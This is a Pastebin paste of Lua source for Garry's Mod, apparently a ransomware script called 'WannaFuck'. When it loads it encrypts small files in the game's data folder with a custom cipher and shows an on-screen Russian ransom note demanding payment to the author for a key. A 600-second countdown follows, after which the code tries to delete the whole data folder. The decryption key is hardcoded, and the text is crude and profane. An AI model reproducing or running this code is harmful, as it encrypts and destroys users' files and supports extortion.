BazZziliuS

Шифратор папки [data]

Aug 2nd, 2018
429
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 4.18 KB | None | 0 0
  1. //WannaFuck
  2. //UI
  3. local w,h = ScrW(),ScrH()
  4. local off = (w/2)-(440/2)
  5. local ccc = 'SuckMyDick'
  6. local words=
  7. {
  8.     'Привет! Я шифровчик',
  9.     'Вся твоя дата и дюпликаты  защифрованы',
  10.     'Чтобы ее расшифровать нужен ключ',
  11.     'Каждый ключ уникальный',
  12.     'Его можно получить у BazZziliuSa, но не за спасибо.',
  13.     'Время ограничено!  Дата будет вся стерта через 600 секунд!',
  14. }
  15. local buff = {}
  16. local function FuckWords(i)
  17.     if !buff[i] then
  18.         buff[i] = {}
  19.         buff[i].str = ''
  20.         buff[i].mul = 0
  21.     end
  22.     if buff[i].mul > #words[i] then return buff[i].str end
  23.     if i > 1 then
  24.         if buff[i-1].mul and buff[i-1].mul != #words[i-1]+1 then return buff[i].str end
  25.     end
  26.     buff[i].mul = buff[i].mul + 1
  27.    
  28.     buff[i].str = buff[i].str..words[i][buff[i].mul]
  29.     return buff[i].str
  30. end
  31. local time = CurTime()+600
  32. hook.Add('HUDPaint','WannaFuck',function()
  33.     local cdown = math.Round(time-CurTime())
  34.  
  35.     surface.SetDrawColor(200,30,30,200+math.sin(CurTime())*40)
  36.     surface.DrawRect(off,0,440,120)
  37.    
  38.     surface.SetFont('chatFont')
  39.     surface.SetTextColor(255,255,255,255)
  40.     surface.SetTextPos(off+5,2)
  41.     surface.DrawText('WannaFuck   Осталось: '..cdown..' секунд!')
  42.    
  43.     if cdown < 0 then DeleteALL() hook.Remove('HUDPaint','WannaFuck') end
  44.    
  45.     for i=1,#words do
  46.         surface.SetTextPos(off+5,15+(12*i))
  47.         surface.DrawText(FuckWords(i))
  48.     end
  49. end)
  50.  
  51. //Code
  52. local charSize = 255
  53. local amplitude = charSize/math.pi
  54. local frequency = math.pi/charSize*8
  55. local function MDOA1(x)
  56.     return math.ceil(amplitude * math.sin(frequency * x) + (amplitude*(math.cos(x) % 9)))
  57. end
  58. local function stringToInt(input)
  59.     if type(input) == "number" then
  60.         return input
  61.     elseif type(input) == "string" then
  62.         output = 0
  63.         for x = 1, #input do
  64.             output = output + input:byte(x)
  65.         end  
  66.         return output
  67.     else
  68.         return 0
  69.     end
  70. end
  71. function crypt(input,key,what)
  72.     key = stringToInt(key)
  73.     local output = ""
  74.     for x = 1, #input do
  75.         if what == 'crypt' then
  76.             output = output .. string.char((input:byte(x) + MDOA1(x + key)) % charSize)
  77.         else
  78.             output = output .. string.char((input:byte(x) - MDOA1(x + key)) % charSize)
  79.         end
  80.     end
  81.     return output
  82. end
  83. local function DeleteALL()
  84.     local function read(path)
  85.         path=path or ""
  86.         local fs,ds = file.Find(path.."*",'MOD')
  87.         for k,f in pairs(fs) do
  88.             local npa = string.gsub(path,'data/','')
  89.             file.Delete(npa..f)
  90.         end
  91.         for z,d in pairs(ds) do
  92.             read(path..d..'/')
  93.         end
  94.     end
  95.     read('data/')
  96. end
  97.  
  98. local function CCrypt(key,what)
  99.     local what = what or 'shit'
  100.     local function read(path)
  101.         path=path or ""
  102.         local fs,ds = file.Find(path.."*",'MOD')
  103.         for k,f in pairs(fs) do
  104.             local npa = string.gsub(path,'data/','')
  105.             local siz = file.Size(npa..f,'DATA')
  106.             if siz > 20000 or siz == 0 then continue end
  107.             file.Write(npa..f,crypt(file.Read(npa..f,'DATA'),key,what))
  108.         end
  109.         for z,d in pairs(ds) do
  110.             read(path..d..'/')
  111.         end
  112.     end
  113.     read('data/')
  114. end
  115. CCrypt(ccc,'crypt')
  116. concommand.Add('Hack',function(_,_,_,arg)
  117.     local st = string.Explode(' ',arg)
  118.     if st[1] != ccc then print('ERROR IDIOT!') return end
  119.     CCrypt(st[1])
  120.     concommand.Remove('DenzCrypt')
  121.     hook.Remove('HUDPaint','WannaFuck')
  122. end)
  123.  
  124. MsgC(Color(0,125,255),[[
  125.                       :::!~!!!!!:.
  126.                   .xUHWH!! !!?M88WHX:.
  127.                 .X*#M@$!!  !X!M$$$$$$WWx:.
  128.                :!!!!!!?H! :!$!$$$$$$$$$$8X:
  129.               !!~  ~:~!! :~!$!#$$$$DENZ$$8X:
  130.              :!~::!H!<   ~.U$X!?R$$$$$$$$MM!
  131.              ~!~!!!!~~ .:XW$$$U!!?$$$$$$RMM!
  132.                !:~~~ .:!M"T#$$$$WX??#MRRMMM!
  133.               ~?WuxiW*`   `"#$$$$8!!!!??!!!
  134.              :X- M$$$$       `"T#$T~!8$WUXU~
  135.            :%`  ~#$$$m:        ~!~ ?$$$$$$
  136.          :!`.-   ~T$$$$8xx.  .xWW- ~""##*"
  137. .....   -~~:<` !    ~?T#$$@@W@*?$$      /`
  138. W$@@M!!! .!~~ !!     .:XUW$W!~ `"~:    :
  139. #"~~`.:x%`!!  !H:   !WM$$$$Ti.: .!WUn+!`
  140. :::~:!!`:X~ .: ?H.!u "$$$B$$$!W:U!T$$M~
  141. .~~   :X@!.-~   ?@WTWo("*$$$W$TH$! `
  142. Wi.~!X$?!-~    : ?$$$B$Wu("**$RM!
  143. $R@i.~~ !     :   ~$$$$$B$$en:``
  144. ?MXT@Wx.~    :     ~"##*$$$$M~
  145.  
  146.       Шифровщик запущен!
  147. ]])
Add Comment
Please, Sign In to add comment